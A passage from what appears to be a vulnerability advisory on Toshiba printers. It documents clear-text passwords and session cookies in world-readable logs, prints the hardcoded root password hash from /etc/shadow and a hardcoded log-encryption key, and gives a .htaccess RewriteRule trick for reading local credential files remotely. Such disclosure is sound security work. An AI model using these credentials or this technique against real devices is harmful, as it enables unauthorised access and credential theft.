-rw-rw-rw- 1 root trusted  23536 May 23 16:10 /ramdisk/work/log/al/alPanelUIMessageHandler.log.0.txt
-rw-rw-rw- 1 root trusted     79 May 23 15:14 /ramdisk/work/log/al/albluetooth.log.0.txt
-rw-rw-rw- 1 root trusted    449 May 23 15:14 /ramdisk/work/log/al/alcloning.log.0.txt
-rw-rw-rw- 1 root trusted   1594 May 23 15:14 /ramdisk/work/log/al/alcloudclient.log.0.txt
-rw-rw-rw- 1 root trusted    987 May 23 15:14 /ramdisk/work/log/al/aldevauthmgmtplugin.log.0.txt
-rw-rw-rw- 1 root trusted 307378 May 23 16:11 /ramdisk/work/log/al/aldeviceconfig.log.0.txt
-rw-rw-rw- 1 root trusted  29171 May 23 15:16 /ramdisk/work/log/al/aldeviceservice.log.0.txt
-rw-rw-rw- 1 root trusted    128 May 23 15:15 /ramdisk/work/log/al/aleSCL.log.0.txt
-rw-rw-rw- 1 root trusted    474 May 23 15:14 /ramdisk/work/log/al/alexportimport.log.0.txt
-rw-rw-rw- 1 root trusted   1437 May 23 15:14 /ramdisk/work/log/al/alfilestoragem.log.0.txt
-rw-rw-rw- 1 root trusted  13465 May 23 16:11 /ramdisk/work/log/al/allicensemgmt.log.0.txt
-rw-rw-rw- 1 root trusted   5380 May 23 15:14 /ramdisk/work/log/al/almaintenanceplugin.log.0.txt
-rw-rw-rw- 1 root trusted    111 May 23 15:14 /ramdisk/work/log/al/alnfcplugin.log.0.txt
-rw-rw-rw- 1 root trusted   4432 May 23 16:05 /ramdisk/work/log/al/alulm.log.0.txt
-rw-rw-rw- 1 root trusted    682 May 23 15:14 /ramdisk/work/log/al/alvnclauncher.log.0.txt
-rw-rw-rw- 1 root trusted  67235 May 23 16:08 /ramdisk/work/log/al/appmanager.log.0.txt
-rw-rw-rw- 1 root trusted  31306 May 23 16:11 /ramdisk/work/log/al/authplugin.log.0.txt
-rw-rw-rw- 1 root trusted    590 May 23 15:15 /ramdisk/work/log/al/bonjour.log.0.txt
-rw-rw-rw- 1 root trusted 147834 May 23 16:15 /ramdisk/work/log/al/boserver.log.0.txt
-rwxrwxrwx 1 root trusted 250542 May 23 16:14 /ramdisk/work/log/al/boserverEvent.log.28.txt
-rw-rw-rw- 1 root trusted   1110 May 23 15:14 /ramdisk/work/log/al/cbamanager.log.0.txt
-rw-rw-rw- 1 root trusted     98 May 23 15:14 /ramdisk/work/log/al/eBRlog.log.0.txt
-rw-rw-rw- 1 root trusted   3311 May 23 15:15 /ramdisk/work/log/al/efile.log.0.txt
-rwxrwxrwx 1 root trusted    567 May 23 16:10 /ramdisk/work/log/al/grpmgrplugin.log.0.txt
-rw-rw-rw- 1 root trusted   2277 May 23 16:10 /ramdisk/work/log/al/hdm.log.0.txt
-rw-rw-rw- 1 root trusted    206 May 23 15:15 /ramdisk/work/log/al/ifaxrx.log.0.txt
-rw-rw-rw- 1 root trusted   1037 May 23 15:14 /ramdisk/work/log/al/jobcontroller.log.0.txt
-rw-rw-rw- 1 root trusted   4714 May 23 15:41 /ramdisk/work/log/al/jtm.log.0.txt
-rw-rw-rw- 1 root trusted    610 May 23 15:15 /ramdisk/work/log/al/logmanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 286932 May 23 15:23 /ramdisk/work/log/al/logretriever.log.0.txt
-rw-rw-rw- 1 root trusted    214 May 23 15:15 /ramdisk/work/log/al/network-ipv6.log.0.txt
-rw-rw-rw- 1 root trusted  22498 May 23 15:16 /ramdisk/work/log/al/nsm.log.0.txt
-rw-rw-rw- 1 root trusted 169537 May 23 16:01 /ramdisk/work/log/al/panel.log.0.txt
-rw-rw-rw- 1 root trusted   3403 May 23 15:15 /ramdisk/work/log/al/printmanager.log.0.txt
-rw-rw-rw- 1 root trusted  26623 May 23 16:10 /ramdisk/work/log/al/prm.log.0.txt
-rw-rw-rw- 1 root trusted   1264 May 23 15:15 /ramdisk/work/log/al/remoteApplication.log.0.txt
-rw-rw-rw- 1 root trusted 565116 May 23 16:11 /ramdisk/work/log/al/renderer.log.2.txt
-rw-rw-rw- 1 root trusted   2434 May 23 15:14 /ramdisk/work/log/al/reportmanager.log.0.txt
-rw-rw-rw- 1 root trusted    426 May 23 15:14 /ramdisk/work/log/al/reportmsgr.log.0.txt
-rw-rw-rw- 1 root trusted  20834 May 23 16:11 /ramdisk/work/log/al/restrictionmode.log.0.txt
-rw-rw-rw- 1 root trusted    732 May 23 16:10 /ramdisk/work/log/al/rolemanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted  12464 May 23 16:11 /ramdisk/work/log/al/securitysettingsplugin.log.0.txt
-rw-rw-rw- 1 root trusted  19963 May 23 15:15 /ramdisk/work/log/al/sharedprint.log.0.txt
-rw-rw-rw- 1 root trusted    159 May 23 15:15 /ramdisk/work/log/al/slp.log.0.txt
-rw-rw-rw- 1 root trusted    798 May 23 15:15 /ramdisk/work/log/al/snmpd.log.0.txt
-rw-rw-rw- 1 root trusted  12287 May 23 15:15 /ramdisk/work/log/al/stage2.log.0.txt
-rw-rw-rw- 1 root trusted   5955 May 23 15:15 /ramdisk/work/log/al/swupdate.log.0.txt
-rw-rw-rw- 1 root trusted   2306 May 23 15:14 /ramdisk/work/log/al/usb.log.0.txt
-rw-rw-rw- 1 root trusted   1113 May 23 15:15 /ramdisk/work/log/al/usbprn.log.0.txt
-rw-rw-rw- 1 root trusted  14238 May 23 16:10 /ramdisk/work/log/al/usermanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted   2553 May 23 15:14 /ramdisk/work/log/al/viewplugin.log.0.txt

/ramdisk/work/log/al/epfx:
total 28
drwxrwxrwx 4 root   trusted     0 May 23 15:14 .
drwxrwxrwx 5 root   trusted     0 May 23 16:10 ..
-rwxrwxrwx 1 root   trusted 28010 May 23 16:08 eprocessframework.log.0.txt
drwxrwxrwx 2 apache trusted     0 May 23 15:14 httpd_worker_1711
drwxrwxrwx 2 apache trusted     0 May 23 15:14 httpd_worker_1712

/ramdisk/work/log/al/wsp:
total 4
drwxrwxrwx 2 root trusted    0 May 23 15:15 .
drwxrwxrwx 5 root trusted    0 May 23 16:10 ..
-rw-rw-rw- 1 root trusted 3600 May 23 16:14 alwsprint.log.0.txt

/ramdisk/work/log/al/wsscn:
total 4
drwxrwxrwx 2 root trusted    0 May 23 15:15 .
drwxrwxrwx 5 root trusted    0 May 23 16:10 ..
-rw-rw-rw- 1 root trusted 1083 May 23 15:15 alwswsc.log.0.txt
bash-4.1#
</code></pre>
<p><a id="passwords-logs-01"></a></p>
<h3>Clear-text password written in logs when an user logs into the printer</h3>
<p>When a user logs into the TopAccess web interface, the password will be written in logs that are world-readable as shown below.</p>
<p>Login as admin with the password <code>PASSWORD-SECRET-PIERRE</code>, we can see the password saved into 2 log files that are world-readable:</p>
<ul>
<li><code>/ramdisk/work/log/al/boserverEvent.log.*.txt</code></li>
<li><code>/ramdisk/al/network/log/http.log</code></li>
</ul>
<p>Leak of credentials inside the log files:</p>
<pre><code>bash-4.1# grep -ri PIER .
./work/log/al/boserverEvent.log.28.txt:&lt;Evt&gt;&lt;t&gt;05/27 16:18:39443877&lt;/t&gt;&lt;Set&gt;&lt;sID&gt;ContentWebServer_10.0.0.2.fda0f003cf95b852233893df36d9b1ff&lt;/sID&gt;&lt;pID&gt;8556&lt;/pID&gt;&lt;pName&gt;httpd&lt;/pName&gt;&lt;SetValue&gt;&lt;Payload XMLPayLoad = "true" overrideDelta = "true"&gt;&lt;path&gt;&lt;/path&gt;&lt;value&gt;&lt;Authentication&gt;&lt;UserCredential&gt;&lt;userName&gt;admin&lt;/userName&gt;&lt;passwd&gt;PASSWORD-SECRET-PIERRE&lt;/passwd&gt;&lt;ipaddress&gt;10.0.0.2&lt;/ipaddress&gt;&lt;DepartmentManagement isEnable="false"&gt;&lt;requireDepartment/&gt;&lt;/DepartmentManagement&gt;&lt;domainName/&gt;&lt;applicationType&gt;TOP_ACCESS&lt;/applicationType&gt;&lt;/UserCredential&gt;&lt;/Authentication&gt;&lt;/value&gt;&lt;/Payload&gt;&lt;/SetValue&gt;&lt;/Set&gt;&lt;/Evt&gt;
./al/network/log/http.log:[Fri May 27 16:18:39.519454 2023] [contentwebserver:debug] [pid 8556] ccontentwebserver.cpp(4175): [client 10.0.0.2:41700] PASSWORD-SECRET-PIERRE, referer: http://10.0.0.1:8080/TopAccessLogin.html?v=1670282309ta
</code></pre>
<p>These files have insecure permissions allowing any user to retrieve the passwords and to modify the logs.</p>
<p>The files can be also modified by a remote attacker using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<pre>
bash-4.1# ls -la /ramdisk/al/network/log/http.log
ls -la /ramdisk/al/network/log/http.log
<font color=red>-rw-rw-rw-</font> 1 root trusted 663910 May 27 16:20 /ramdisk/al/network/log/http.log
bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
<font color=red>-rwxrwxrwx</font> 1 root trusted 715841 May 27 16:20 /ramdisk/work/log/al/boserverEvent.log.28.txt
bash-4.1#
</pre>

<p><a id="passwords-logs-02"></a></p>
<h3>Clear-text password written in logs when a password is modified</h3>
<p>Using the TopAccess web interface, it is possible to update passwords of users.</p>
<p><img alt="" src="images/2024-toshiba-users-password-logs.png" /></p>
<p>Such password will be found in the log files (<code>NEW-PASSWORD-PIERRE</code>):</p>
<pre><code>bash-4.1# grep -r NEW-PASSWORD-PIERRE .
./work/log/al/boserverEvent.log.28.txt:&lt;Evt&gt;&lt;t&gt;05/27 16:22:22933938&lt;/t&gt;&lt;Set&gt;&lt;sID&gt;ContentWebServer_10.0.0.2.63e5f73ea1d7ecf9cfd935393adb8b11&lt;/sID&gt;&lt;pID&gt;4974&lt;/pID&gt;&lt;pName&gt;httpd&lt;/pName&gt;&lt;SetValue&gt;&lt;Payload XMLPayLoad = "true" overrideDelta = "true"&gt;&lt;path&gt;&lt;/path&gt;&lt;value&gt;&lt;UserManager&gt;&lt;View&gt;&lt;UpdateUser&gt;&lt;User ID="10002"&gt;&lt;Information&gt;&lt;passwd&gt;NEW-PASSWORD-PIERRE&lt;/passwd&gt;&lt;UserSoftKeyboardDisplay&gt;true&lt;/UserSoftKeyboardDisplay&gt;&lt;/Information&gt;&lt;/User&gt;&lt;/UpdateUser&gt;&lt;/View&gt;&lt;/UserManager&gt;&lt;/value&gt;&lt;/Payload&gt;&lt;/SetValue&gt;&lt;/Set&gt;&lt;/Evt&gt;
bash-4.1#
</code></pre>
<p>And this log file also has insecure permissions, allowing any user to retrieve the passwords or to modify the log file.</p>
<p>The files can be also modified by a remote attacker using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<pre>
bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
<font color=red>-rwxrwxrwx</font> 1 root trusted 886685 May 27 16:23 /ramdisk/work/log/al/boserverEvent.log.28.txt
bash-4.1#
</pre>

<p>An attacker can retrieve passwords.</p>
<p>An attacker can modify the logs.</p>
<p>A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (<code>RewriteRule /pwned.txt file:/path/to/local/file</code>), using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p><a id="sessions-logs-01"></a></p>
<h2>Details - Leak of authentication sessions in insecure logs in /ramdisk/work/log directory</h2>
<p>It was observed that the session cookies, used for authentication, are stored in clear-text logs. These logs are world-readable and some can also be freely modified by any local attacker.</p>
<p>Some logs are stored inside the <code>/ramdisk/work/log</code> directory with insecure permissions. We can find the authentication sessions (e.g. <code>ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e</code>) inside.</p>
<p>Leak of sessions inside the log files:</p>
<pre><code>bash-4.1# pwd
/work/log
bash-4.1# grep -r '10.0.0.2\.' *
[...]
./log/al/boserverEvent.log.26.txt:&lt;Evt&gt;&lt;t&gt;05/30 15:50:21222835&lt;/t&gt;&lt;Session "timerReset"&gt;&lt;id&gt;ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e&lt;/id&gt;&lt;num&gt;658&lt;/num&gt;&lt;pID&gt;2670&lt;/pID&gt;&lt;pName&gt;alappmanager&lt;/pName&gt;&lt;newTimerValue&gt;0&lt;/newTimerValue&gt;&lt;/Session&gt;&lt;/Evt&gt;
./log/al/boserver.log.0.txt:05/30 15:50:05535294 Pid= 1657,Tid= 1784,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'GetSettings' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:05552743 Pid= 1657,Tid= 1783,cborepository.cpp: 4816:WRN:DELIVERCMD: Delegating Command 'LicenseEnableCheck' from 'httpd' to Plugin 'LicenseMgmt-0x9f' with SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:05556758 Pid= 1657,Tid= 1785,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'LicenseEnableCheck' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:14741108 Pid= 1657,Tid= 1784,cborepository.cpp: 4816:WRN:DELIVERCMD: Delegating Command 'LicenseEnableCheck' from 'httpd' to Plugin 'LicenseMgmt-0x9f' with SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:14745065 Pid= 1657,Tid= 1783,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'LicenseEnableCheck' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/aldeviceconfig.log.0.txt:  * SessionID         : ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
./log/al/aldeviceconfig.log.0.txt:  * DeltaDocName      : hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/DiagnosticModeTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
[...]
./log/al/aldeviceconfig.log.0.txt:  * DeltaDocName      : hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/DiagnosticModeTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
./log/al/sapp/python_settingapp.log:03/16 20:57:34966 Pid= 5653 Tid= 1820326768 tweens.py       176 WARNING Add session map. key = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7 value = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7
./log/al/sapp/python_settingapp.log:03/16 21:08:35016 Pid= 5653 Tid= 1675623280 tweens.py       347 WARNING Delete session map. key = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7 value = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7, length1
./log/al/authplugin.log.0.txt:05/30 15:16:07935854 Pid= 1872,UserAuthManger.cpp:11476:ERR:delta Doc Name::hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/AuthenticationTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
[...]
./log/al/renderer.log.1.txt:05/30 20:21:13780508 Pid= 1992,Tid= 2939,LegacyPanel/src/cpanelmanager.cpp: 2983:WRN:Rcv ST : 72 : 1c000001 : &lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;Notification&gt;&lt;Payload model="pull"&gt;&lt;path&gt;SecurityConfiguration/SecuritySettings/isLoginReqd&lt;/path&gt;&lt;sessionID&gt;ContentWebServer_10.0.0.2.ab52ced8304357f2b382460bbdd797dc&lt;/sessionID&gt;&lt;subscriptionID&gt;1275&lt;/subscriptionID&gt;&lt;/Payload&gt;&lt;/Notification&gt;
[...]
/log/al/prm.log.0.txt:05/30 15:18:16563007 Pid= 1885,Tid= 2163,manager.cpp: 1874:ERR:Delta Document hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/PresentationResourcesTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e could not be opened. Creating it
</code></pre>
<p>We can list the files containing such authentication sessions:</p>
<ul>
<li>log/al/aldeviceconfig.log.0.txt</li>
<li>log/al/appmanager.log.0.txt</li>
<li>log/al/appmanagerlibrary.log.0.txt</li>
<li>log/al/authplugin.log.0.txt</li>
<li>log/al/boserver.log.0.txt</li>
<li>log/al/boserverEvent.log.26.txt</li>
<li>log/al/epfx/eprocessframework.log.0.txt</li>
<li>log/al/prm.log.0.txt</li>
<li>log/al/renderer.log.0.txt</li>
<li>log/al/renderer.log.1.txt</li>
<li>log/al/renderer.log.2.txt</li>
<li>log/al/sapp/python_settingapp.log</li>
<li>log/al/webpanel/eapi.log.0.txt</li>
</ul>
<p>Using the shell:</p>
<pre><code>bash-4.1# grep -r '10.0.0.2\.' * | sed -e 's#:# #' | awk '{ print $1 }' | sort | uniq
log/al/aldeviceconfig.log.0.txt
log/al/appmanager.log.0.txt
log/al/appmanagerlibrary.log.0.txt
log/al/authplugin.log.0.txt
log/al/boserver.log.0.txt
log/al/boserverEvent.log.26.txt
log/al/epfx/eprocessframework.log.0.txt
log/al/prm.log.0.txt
log/al/renderer.log.0.txt
log/al/renderer.log.1.txt
log/al/renderer.log.2.txt
log/al/sapp/python_settingapp.log
log/al/webpanel/eapi.log.0.txt
log/al/webpanel/python_ta.log
</code></pre>
<p>These files have insecure permissions allowing any user to retrieve the passwords, and some files can be freely modified by any local attacker (or any remote attacker using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability):</p>
<p>Insecure permissions for log files:</p>
<pre>
bash-4.1# for i in $(grep -r '10.0.0.2\.' * | sed -e 's#:# #' | awk '{ print $1 }' | sort | uniq); do ls -la $i;done
<font color=red>-rw-r--r--</font> 1 apache trusted 177116 May 30 15:51 log/al/aldeviceconfig.log.0.txt
<font color=red>-rw-r--r--</font> 1 apache trusted 57508 May 30 15:51 log/al/appmanager.log.0.txt
<font color=red>-rwxrwxrwx</font> 1 root trusted 285227 May 30 16:15 log/al/appmanagerlibrary.log.0.txt
<font color=red>-rw-r--r--</font> 1 apache trusted 8839 May 30 15:51 log/al/authplugin.log.0.txt
<font color=red>-rw-r--r--</font> 1 apache trusted 57082 May 30 15:51 log/al/boserver.log.0.txt
<font color=red>-rwxr-xr-x</font> 1 apache trusted 850786 May 30 15:51 log/al/boserverEvent.log.26.txt
<font color=red>-rwxr-xr-x</font> 1 apache trusted 18608 May 30 15:51 log/al/epfx/eprocessframework.log.0.txt
<font color=red>-rw-r--r--</font> 1 apache trusted 18151 May 30 15:51 log/al/prm.log.0.txt
<font color=red>-rwxrwxrwx</font> 1 root trusted 1048682 May 30 19:28 log/al/renderer.log.0.txt
<font color=red>-rwxrwxrwx</font> 1 root trusted 1048606 May 30 21:50 log/al/renderer.log.1.txt
<font color=red>-rw-r--r--</font> 1 apache trusted 527501 May 30 15:51 log/al/renderer.log.2.txt
<font color=red>-rwxrwxrwx</font> 1 apache trusted 1958 May 30 21:08 log/al/sapp/python_settingapp.log
<font color=red>-rwxrwxrwx</font> 1 root trusted 669880 May 30 16:15 log/al/webpanel/eapi.log.0.txt
<font color=red>-rwxrwxrwx</font> 1 apache trusted 311373 May 30 15:53 log/al/webpanel/python_ta.log
</pre>

<p>An attacker can retrieve authentication sessions.</p>
<p>A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (<code>RewriteRule /pwned.txt file:/path/to/local/file</code>), using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p><a id="sessions-logs-02"></a></p>
<h2>Details - Leak of authentication sessions in insecure logs in /ramdisk/al/network/log directory</h2>
<p>It was observed that the sessions are stored in clear-text logs. These logs are world-readable and some can also be freely modified by any local attacker.</p>
<p>Some logs are stored inside the <code>/ramdisk/al/network/log</code> directory with insecure permissions. We can find the authentication sessions inside:</p>
<pre>
bash-4.1# pwd
/ramdisk/al/network/log
bash-4.1# ls -la
total 184
drwxr-xr-x 6 root root        0 May 30 10:38 .
drwxr-xr-x 7 root root        0 May 30 10:39 ..
-rw-rw-rw- 1 root trusted  1455 May 30 10:38 dibbler-client.log
-rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt
-rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log
-rw-rw-rw- 1 root trusted  6143 May 30 17:29 http_access.log
-rw-rw-rw- 1 root trusted  9194 May 30 14:08 https.log
-rw-rw-rw- 1 root trusted   962 May 30 15:01 lprng.log.0.txt
-rw-r----- 1 root adm      8767 May 30 16:38 maillog
-rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsd
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsm
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsp
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsscn
bash-4.1# grep SessionID *
http.log:[Thu May 30 17:29:08.209477 2023] [contentwebserver:debug] [pid 5113] ccontentwebserver.cpp(1130): [client 10.0.0.2:43384] CContentWebServer:: SessionID=[<font color=red>ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61</font>]   ignoreSessionTimeout=[IgnoreSessionTimeout], referer: http://10.0.0.1:8080/
http.log:[Thu May 30 17:29:08.739761 2023] [contentwebserver:debug] [pid 5118] ccontentwebserver.cpp(1130): [client 10.0.0.2:43386] CContentWebServer:: SessionID=[<font color=red>ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61</font>]   ignoreSessionTimeout=[IgnoreSessionTimeout], referer: http://10.0.0.1:8080/FrameIndex.html?v=1670282309ta
[...]
bash-4.1# grep -i cookie *
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 12:49:00.729591 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 12:49:00.729632 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 594] In SetCookie::cookiebuf <font color=red>10.0.0.2.289d834d7086d004ce9a710590e10be1</font>
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 14:08:17.935840 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 14:08:17.935870 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 594] In SetCookie::cookiebuf <font color=red>10.0.0.3.117f8affdaee98da7f6c4d073bd2ab8d</font>
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
http.log:[Thu May 30 14:08:20.603084 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4.75:62843] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent
http.log:[Thu May 30 14:08:20.603114 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4:62843] [utility.cpp : 594] In SetCookie::cookiebuf <font color=red>10.0.0.4.140ee80f33943e90ea27be3fc3c511fb</font>
http.log: Utility::GetCookie cookieName=[Session]
http.log:Utility::GetCookie sCookievalue=[]
</pre>

<p>We can list the files containing such authentication sessions:</p>
<ul>
<li>al/network/log/http*</li>
</ul>
<p>This file has insecure permissions allowing any user to retrieve the passwords and some files can be freely modified by any local attacker (or any remote attacker using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability):</p>
<p>Insecure log files:</p>
<pre>
bash-4.1# pwd
/ramdisk/al/network/log
bash-4.1# ls -la
total 184
drwxr-xr-x 6 root root        0 May 30 10:38 .
drwxr-xr-x 7 root root        0 May 30 10:39 ..
<font color=red>-rw-rw-rw-</font> 1 root trusted  1455 May 30 10:38 dibbler-client.log
<font color=red>-rw-rw-rw-</font> 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt
<font color=red>-rw-rw-rw-</font> 1 root trusted 58886 May 30 17:29 http.log
<font color=red>-rw-rw-rw-</font> 1 root trusted  6143 May 30 17:29 http_access.log
<font color=red>-rw-rw-rw-</font> 1 root trusted  9194 May 30 14:08 https.log
<font color=red>-rw-rw-rw-</font> 1 root trusted   962 May 30 15:01 lprng.log.0.txt
-rw-r----- 1 root adm      8767 May 30 16:38 maillog
<font color=red>-rw-rw-rw-</font> 1 root trusted 58619 May 30 17:23 nqlog.log
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsd
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsm
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsp
drwxrwxrwx 2 root trusted     0 May 30 10:38 wsscn
</pre>

<p>An attacker can retrieve authentication sessions.</p>
<p>A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (<code>RewriteRule /pwned.txt file:/path/to/local/file</code>), using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p><a id="hardcoded-root-password"></a></p>
<h2>Details - Hardcoded root password</h2>
<p>All the Toshiba printers share the same hardcoded root password. This hardcoded password is written by default in the firmware image and cannot be modified. Furthermore, the hash was also found in firmware images from 2017, meaning this password was never updated:</p>
<p>Content of <code>/etc/shadow</code>:</p>
<pre><code>bash-4.1# cat /etc/shadow
root:$6$rsDekYom2xF0b$T./E5cKsgXixcqB6ULMv1f1/AztBn86Lt7Uv1MTS7LynR325iUIb9ql2A0UCHUzPLavlPnfsi/gOoJTosjo230:11323:0:99999:7:::
bin:!!:12571:0:99999:7:::
daemon:!!:12571:0:99999:7:::
adm:!!:12571:0:99999:7:::
lp:!!:12571:0:99999:7:::
sync:!!:12571:0:99999:7:::
shutdown:!!:12571:0:99999:7:::
halt:!!:12571:0:99999:7:::
mail:!!:12571:0:99999:7:::
uucp:!!:12571:0:99999:7:::
operator:!!:12571:0:99999:7:::
games:!!:12571:0:99999:7:::
gopher:!!:12571:0:99999:7:::
ftp:!!:12571:0:99999:7:::
hacluster:!!:12571:0:99999:7:::
rpcuser:!!:12571:0:99999:7:::
ntp:!!:12571:0:99999:7:::
smmsp:!:19431:0:99999:7:::
vcsa:!!:12571:0:99999:7:::
sshd:!!:12571:0:99999:7:::
nobody:!!:12571:0:99999:7:::
nfsnobody:!!:12571:0:99999:7:::
uuidd:x:19431:0:99999:7:::
messagebus:!:19431::::::
apache:!:19431:0:99999:7:::
sh-4.1#
</code></pre>
<p>An attacker can remotely compromise any Toshiba printer if the telnetd or the openssh servers are running.</p>
<p><a id="harcoded-password-logs"></a></p>
<h2>Details - Hardcoded password used to encrypt logs</h2>
<p>It was observed that all the Toshiba printers contain a shell script using the same hardcoded key to encrypt logs.</p>
<p>The script <code>/home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh</code> has insecure permissions and contains the hardcoded key <code>1048toshibatec</code>:</p>
<p>Insecure permissions of <code>/home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh</code>:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
<font color=red>-rwxrwxrwx</font> 1 root root 95309 Nov  8  2021 /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
bash-4.1#
</pre>

<p>Content of the file:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">1908</span> <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Start Collected Log Encryption&quot;</span>
<span style="color: #666666">1909</span> openssl enc -e -aes256 -in <span style="color: #19177C">$MOUNTPOINT</span>/<span style="color: #19177C">$SERIAL</span>.<span style="color: #19177C">$date</span>.tar.gz -out <span style="color: #19177C">$MOUNTPOINT</span>/<span style="color: #19177C">$SERIAL</span>.<span style="color: #19177C">$date</span> -k 1048toshibatec
<span style="color: #666666">1910</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">1911</span>      <span style="color: #008000">exit</span> <span style="color: #666666">1</span>     
<span style="color: #666666">1912</span> <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
</pre></div>

<p>An attacker can decrypt the encrypted files using the hardcoded key.</p>
<p><a id="harcoded-password-logs-weak-cipher"></a></p>
<h2>Details - Hardcoded password used to encrypt logs and use of a weak digest cipher</h2>
<p>It was observed that all the Toshiba printers contain a shell script using the same hardcoded key to encrypt logs.</p>
<p>The script <code>/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh</code> has insecure permissions and contains the hardcoded key <code>1048toshibatec</code>:</p>
<p>Insecure Permissions of <code>/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh</code>:</p>
<pre>
